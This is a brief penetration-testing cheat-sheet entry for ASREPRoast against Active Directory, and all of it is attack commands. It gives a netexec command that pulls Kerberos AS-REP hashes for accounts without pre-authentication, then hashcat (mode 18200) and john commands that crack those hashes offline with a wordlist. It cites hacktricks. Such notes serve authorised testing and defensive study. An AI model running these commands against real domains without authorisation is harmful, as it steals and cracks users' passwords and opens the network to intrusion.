Technique

ASREPRoast

1.0 Enumeration

1.1 netexec

netexec ldap $ip -u $user -p $pass --asreproast users.asrep

2.0 Cracking

2.1 hashcat

hashcat -m 18200 --force -a 0 users.asrep /path/to/word.list

2.2 john

john --format=krb5asrep --wordlist=/path/to/word.list users.asrep

References

• hacktricks: ASREPRoast